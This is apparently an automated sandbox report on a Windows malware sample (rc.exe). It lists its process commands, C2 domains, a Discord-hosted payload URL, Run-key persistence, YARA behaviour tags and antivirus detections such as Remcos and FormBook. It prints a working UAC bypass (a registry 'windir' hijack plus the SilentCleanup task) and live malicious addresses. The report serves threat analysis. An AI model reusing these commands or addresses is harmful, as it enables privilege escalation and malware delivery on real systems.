rc.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | Sept. 6, 2021, 6 p.m. | Sept. 6, 2021, 6:05 p.m. |
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
2324 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
532 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
1776
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
1972
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| sergio.ac.ug | 79.134.225.25 | |
| parhatcsafxz.ac.ug | ||
| ramosasdj.ac.ug | ||
| aertdfvaz.ac.ug | ||
| heartdoaz.ac.ug | ||
| cdn.discordapp.com | 162.159.134.233 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49164 -> 162.159.130.233:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.102:49165 -> 162.159.130.233:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.102:49164 162.159.130.233:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 | C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da |
|
TLSv1 192.168.56.102:49165 162.159.130.233:443 |
None | None | None |
| section | .itext |
| packer | BobSoft Mini Delphi -> BoB / BobSoft |
| request | GET https://cdn.discordapp.com/attachments/873891971998036042/882970284683055114/Dfybfgryucnbhjvidfyxejumermtmxj |
| file | C:\Users\Public\KDECO.bat |
| file | C:\Users\Public\UKO.bat |
| file | C:\Users\Public\Libraries\Dfybfgr\Dfybfgr.exe |
| file | C:\Users\Public\Trast.bat |
| file | C:\Users\Public\nest.bat |
| cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| section | {u'size_of_data': u'0x0003a000', u'virtual_address': u'0x0006d000', u'entropy': 7.292430569492251, u'name': u'.data', u'virtual_size': u'0x00039fdc'} | entropy | 7.29243056949 | description | A section with a high entropy has been found | |||||||||
| entropy | 0.268985507246 | description | Overall entropy of this PE file is high | |||||||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| cmdline | reg delete hkcu\Environment /v windir /f |
| cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
| buffer | Buffer with sha1: 4b2dc154d004d26da70f8cfdf0ac9c9086f5b7f6 |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Dfybfgr | reg_value | C:\Users\Public\Libraries\rgfbyfD.url | ||||||
| process | rc.exe | useragent | zipo | ||||||
| process | rc.exe | useragent | aswe | ||||||
| cmdline | C:\Windows\System32\mobsync.exe |
| Bkav | W32.AIDetect.malware2 |
| Elastic | malicious (high confidence) |
| MicroWorld-eScan | Trojan.Generic.30041581 |
| ALYac | Trojan.Generic.30041581 |
| Cylance | Unsafe |
| Sangfor | Virus.Win32.Save.a |
| K7AntiVirus | Trojan ( 00581c491 ) |
| Alibaba | Trojan:Win32/Injector.a80d1484 |
| K7GW | Trojan ( 00581c491 ) |
| CrowdStrike | win/malicious_confidence_100% (W) |
| Cyren | W32/Delf.PC.gen!Eldorado |
| ESET-NOD32 | a variant of Win32/Injector.EQAC |
| APEX | Malicious |
| Paloalto | generic.ml |
| Kaspersky | HEUR:Exploit.Win32.UAC.gen |
| BitDefender | Trojan.Generic.30041581 |
| Avast | Win32:Trojan-gen |
| Ad-Aware | Trojan.Generic.30041581 |
| Sophos | Mal/Generic-S |
| Comodo | Malware@#1dsgalb7em3l3 |
| DrWeb | Trojan.DownLoader41.64496 |
| VIPRE | Win32.Malware!Drop |
| McAfee-GW-Edition | BehavesLike.Win32.Generic.cc |
| FireEye | Generic.mg.e0fcb3e605e5fffb |
| Emsisoft | Trojan.Generic.30041581 (B) |
| SentinelOne | Static AI - Suspicious PE |
| Webroot | W32.Trojan.Gen |
| Avira | TR/Injector.jpmwr |
| MAX | malware (ai score=88) |
| Kingsoft | Win32.Troj.Generic_a.a.(kcloud) |
| Gridinsoft | Trojan.Win32.Downloader.sa |
| Microsoft | Trojan:Win32/DelfInject.SS!MTB |
| GData | Trojan.Generic.30041581 |
| Cynet | Malicious (score: 100) |
| AhnLab-V3 | Trojan/Win.Trojan-gen.R439951 |
| McAfee | RDN/RemcosRAT |
| VBA32 | BScope.TrojanSpy.Noon |
| Malwarebytes | Spyware.FormBook |
| Ikarus | Trojan.Inject |
| eGambit | Unsafe.AI_Score_99% |
| Fortinet | W32/Injector.EQAC!tr |
| AVG | Win32:Trojan-gen |
| Cybereason | malicious.3d252b |
| Panda | Trj/Spy.TJQ |
| MaxSecure | Trojan.Malware.300983.susgen |
| dead_host | 192.168.56.102:49187 |
| dead_host | 192.168.56.102:49184 |
| dead_host | 192.168.56.102:49185 |
| dead_host | 192.168.56.102:49190 |
| dead_host | 192.168.56.102:49191 |
| dead_host | 79.134.225.25:6968 |
| dead_host | 192.168.56.102:49188 |
| dead_host | 192.168.56.102:49182 |
| dead_host | 192.168.56.102:49189 |
| dead_host | 192.168.56.102:49183 |
| dead_host | 192.168.56.102:49169 |
| dead_host | 192.168.56.102:49186 |